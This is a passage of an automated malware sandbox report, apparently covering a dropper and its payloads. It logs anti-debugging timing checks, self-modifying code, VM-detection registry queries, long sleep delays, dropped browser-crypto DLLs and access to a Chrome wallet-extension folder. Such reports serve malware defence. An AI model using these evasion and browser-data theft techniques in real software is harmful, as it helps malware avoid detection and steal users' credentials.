Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C90062 second address: 4C9009B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FBC9118B8ADh 0x0000000a add al, 00000036h 0x0000000d jmp 00007FBC9118B8B1h 0x00000012 popfd 0x00000013 popad 0x00000014 popad 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FBC9118B8ADh 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C9009B second address: 4C900AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC912593FCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C900AB second address: 4C900AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C40056 second address: 4C40065 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C40065 second address: 4C4006B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C4006B second address: 4C4006F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C4006F second address: 4C4007D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C4007D second address: 4C400AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FBC91259406h 0x0000000a sbb eax, 371FAAA8h 0x00000010 jmp 00007FBC912593FBh 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C400AB second address: 4C40142 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bh 0x00000005 mov bx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov di, ax 0x00000011 mov di, si 0x00000014 popad 0x00000015 and esp, FFFFFFF8h 0x00000018 jmp 00007FBC9118B8AEh 0x0000001d xchg eax, ecx 0x0000001e jmp 00007FBC9118B8B0h 0x00000023 push eax 0x00000024 jmp 00007FBC9118B8ABh 0x00000029 xchg eax, ecx 0x0000002a pushad 0x0000002b mov al, C4h 0x0000002d push ebx 0x0000002e mov esi, 56E047F3h 0x00000033 pop esi 0x00000034 popad 0x00000035 push ebx 0x00000036 pushad 0x00000037 mov ecx, 34E03261h 0x0000003c call 00007FBC9118B8AEh 0x00000041 pushfd 0x00000042 jmp 00007FBC9118B8B2h 0x00000047 add cx, 9428h 0x0000004c jmp 00007FBC9118B8ABh 0x00000051 popfd 0x00000052 pop eax 0x00000053 popad 0x00000054 mov dword ptr [esp], ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a pushad 0x0000005b popad 0x0000005c mov ax, 26EDh 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C40142 second address: 4C4015C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC91259406h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C4015C second address: 4C401B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+10h] 0x0000000b jmp 00007FBC9118B8B7h 0x00000010 xchg eax, esi 0x00000011 jmp 00007FBC9118B8B6h 0x00000016 push eax 0x00000017 jmp 00007FBC9118B8ABh 0x0000001c xchg eax, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FBC9118B8B5h 0x00000024 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C401B9 second address: 4C401BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C401BF second address: 4C401C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C401C3 second address: 4C401C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C401C7 second address: 4C401E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBC9118B8B2h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C401E6 second address: 4C401F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC912593FEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C401F8 second address: 4C40229 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007FBC9118B8ACh 0x0000000e mov dword ptr [esp], edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FBC9118B8B7h 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C40229 second address: 4C402A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBC912593FFh 0x00000009 or ch, 0000005Eh 0x0000000c jmp 00007FBC91259409h 0x00000011 popfd 0x00000012 push esi 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test esi, esi 0x00000019 jmp 00007FBC912593FAh 0x0000001e je 00007FBD035377A1h 0x00000024 jmp 00007FBC91259400h 0x00000029 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000030 jmp 00007FBC91259400h 0x00000035 je 00007FBD0353778Ah 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C402A3 second address: 4C402A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C402A9 second address: 4C402CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259404h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C402CA second address: 4C402CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C402CE second address: 4C402D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C402D2 second address: 4C402D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C402D8 second address: 4C4039A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259404h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 call 00007FBC91259408h 0x00000016 pushfd 0x00000017 jmp 00007FBC91259402h 0x0000001c xor si, 4308h 0x00000021 jmp 00007FBC912593FBh 0x00000026 popfd 0x00000027 pop esi 0x00000028 popad 0x00000029 test edx, 61000000h 0x0000002f pushad 0x00000030 mov esi, edx 0x00000032 pushad 0x00000033 mov ecx, ebx 0x00000035 popad 0x00000036 popad 0x00000037 jne 00007FBD0353773Ah 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007FBC91259402h 0x00000044 and ecx, 44077898h 0x0000004a jmp 00007FBC912593FBh 0x0000004f popfd 0x00000050 pushad 0x00000051 movzx esi, dx 0x00000054 call 00007FBC912593FBh 0x00000059 pop ecx 0x0000005a popad 0x0000005b popad 0x0000005c test byte ptr [esi+48h], 00000001h 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007FBC91259402h 0x00000067 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C4039A second address: 4C4039F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C30791 second address: 4C30797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C30797 second address: 4C3079B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C3079B second address: 4C30809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FBC912593FEh 0x0000000f and esp, FFFFFFF8h 0x00000012 jmp 00007FBC91259400h 0x00000017 xchg eax, ebx 0x00000018 jmp 00007FBC91259400h 0x0000001d push eax 0x0000001e jmp 00007FBC912593FBh 0x00000023 xchg eax, ebx 0x00000024 jmp 00007FBC91259406h 0x00000029 xchg eax, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FBC912593FAh 0x00000033 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Special instruction interceptor: First address: 3AEAF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Special instruction interceptor: First address: 3AEBB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Special instruction interceptor: First address: 57ABB2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Special instruction interceptor: First address: 55AC8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Special instruction interceptor: First address: 5DD5A8 instructions caused by: Self-modifying code
Source: C:\Users\userAAKKKEBFCG.exe	Special instruction interceptor: First address: 8ED26 instructions caused by: Self-modifying code
Source: C:\Users\userAAKKKEBFCG.exe	Special instruction interceptor: First address: 24FEE9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 60EAF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 60EBB9 instructions caused by: Self-modifying code
Source: C:\Users\userAAKKKEBFCG.exe	Special instruction interceptor: First address: 2D0A3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 7DABB2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 7BAC8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 83D5A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 43ED26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 5FFEE9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 680A3D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe

Code function: 5_2_04CB0100 rdtsc

5_2_04CB0100

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1054
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1047
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 437
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1321
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 991
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1075
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 380
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1940
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Window / User API: threadDelayed 1017
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Window / User API: threadDelayed 907
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Window / User API: threadDelayed 495
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Window / User API: threadDelayed 370
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Window / User API: threadDelayed 1224
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Window / User API: threadDelayed 431

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 7.8 %

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7684	Thread sleep count: 1054 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7684	Thread sleep time: -2109054s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7708	Thread sleep count: 1047 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7708	Thread sleep time: -2095047s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7656	Thread sleep count: 437 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7656	Thread sleep time: -13110000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7692	Thread sleep count: 1321 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7692	Thread sleep time: -2643321s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7892	Thread sleep time: -540000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7688	Thread sleep count: 991 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7688	Thread sleep time: -1982991s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7696	Thread sleep count: 1075 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7696	Thread sleep time: -2151075s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7800	Thread sleep count: 52 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7800	Thread sleep time: -104052s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7804	Thread sleep count: 54 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7804	Thread sleep time: -108054s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7808	Thread sleep count: 54 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7808	Thread sleep time: -108054s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7664	Thread sleep count: 380 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7664	Thread sleep time: -11400000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7912	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7792	Thread sleep count: 1940 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7792	Thread sleep time: -3881940s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe TID: 6476	Thread sleep count: 67 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe TID: 6476	Thread sleep count: 187 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe TID: 6476	Thread sleep count: 1224 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe TID: 6476	Thread sleep count: 431 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe TID: 6476	Thread sleep count: 145 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe TID: 6476	Thread sleep count: 62 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe TID: 6476	Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe TID: 6476	Thread sleep count: 216 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe TID: 6476	Thread sleep count: 82 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe TID: 6476	Thread sleep count: 108 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe

Thread sleep count: Count: 1224 delay: -10

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004139B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004143F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	0_2_00414050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004133C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
